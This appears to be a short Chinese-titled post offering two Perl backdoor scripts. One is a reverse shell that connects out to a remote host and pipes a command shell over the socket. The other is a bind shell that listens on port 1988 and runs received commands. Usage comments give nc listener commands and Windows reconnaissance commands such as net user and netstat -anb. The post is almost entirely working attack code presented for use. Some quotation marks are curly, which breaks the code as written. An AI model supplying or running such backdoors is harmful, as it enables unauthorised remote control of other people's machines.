perl后门,正向和反向

#!/usr/bin/perl
#usage:
#nc -vv -l -p PORT(default 1988) on your local system first,then
#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
#Type ‘exit‘ to exit or press Enter to gain shell when u under the ‘console’.
#nc -vv -l -p 1988
#perl backdoor.pl 127.0.0.1 1988

#use strict;
use Socket;
use IO::Socket;
use Cwd;
use IO::Handle;
my $remote      = $ARGV[0]|| “127.0.0.1“;
my $remote_port = $ARGV[1]|| 1988;
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote));
my $path        = cwd();
$ARGC = @ARGV;
if ($ARGV[0]!~/-/)
{
socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname(’tcp’)) or die “socket error: “;
STDOUT->autoflush(1);
SOCKET->autoflush(1);
$conn=connect(SOCKET,$pack_addr)||die “connection error : $!“;
open STDIN,”>&SOCKET“;
open STDOUT,”>&SOCKET“;
open STDERR,”>&SOCKET“;
print “You are in $path\n“;
print “Welcome to use.\n“;
print “console>\n“;    

while (<STDIN>) {
   chomp;
   if( lc($_) eq ‘exit‘ ) {
    print “   Bye Bye!“;
    exit;
   }
    $msg=system($_);
    if($msg){
    print STDOUT “\n$msg\n“;
    print STDOUT “console>“;
  }else
  {
    print “console>“;
    }
}
close SOCKET;
exit;
}

#!/usr/bin/perl
#ActivePerl 5.8.8 Build 822
#usage:
#first:perl backdoor2c.pl
#second:nc -vv 127.0.0.1 1988
#net user
#ipconfig /all
#netstat -anb
use IO::Socket;
$port = “1988“;
my $socket = new IO::Socket::INET ( ‘Localhost’=>’127.0.0.1′ ,
‘LocalPort’=>$port ,
‘Listen’=>1 ,
‘Proto’=>’tcp’ ,
‘Reuse’=>1 );
die “Reason: $!” unless $socket;
while (my $new_socket = $socket->accept()) {
while (my $buffer=<$new_socket> ){
if ($buffer=~/exit/) {exit;}
$res_msg=`$buffer`;
print $new_socket “$res_msg\ncmd>“;
}}